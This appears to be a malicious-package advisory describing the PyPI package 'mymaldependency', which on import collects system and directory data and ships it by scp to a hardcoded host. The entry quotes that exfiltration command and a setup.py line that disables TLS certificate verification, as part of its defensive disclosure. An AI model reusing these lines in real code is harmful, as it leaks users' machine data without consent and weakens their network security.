MAL-2026-3694

Dashboard / Malicious Package / MAL-2026-3694

MAL-2026-3694

Summary: Malicious code in mymaldependency (PyPI)

Details: Source: amazon-inspector (38372ffa2ec19cee68f769508d95ffb4f5c1878aeae058ce3e7a33b947d06cf1) MyMalDependency_package/__init__.py executes on every import: it calls os.uname() and os.getcwd(), writes the results to./trans.txt in the installer's working directory, then invokes os.system('scp trans.txt [email protected]:E:\\download') to ship the file to a hardcoded remote host. This is a one-way exfiltration of installer machine fingerprint data combined with unconsented shell command execution at import time. setup.py additionally disables TLS certificate verification globally (ssl._create_default_https_context = ssl._create_unverified_context), weakening the installer's trust posture during install. Source comments ('#恶意的依赖项' — Chinese for 'malicious dependency') and a startup print ('start mal dependency') explicitly declare malicious intent. Metadata is placeholder (author '1', UNKNOWN fields, description 'test to create package'). Regardless of whether the hardcoded private-range destination IP is currently reachable, the code pattern constitutes active attack behavior against anyone who imports the package.

References: https://pypi.org/project/MyMalDependency/2.1.1/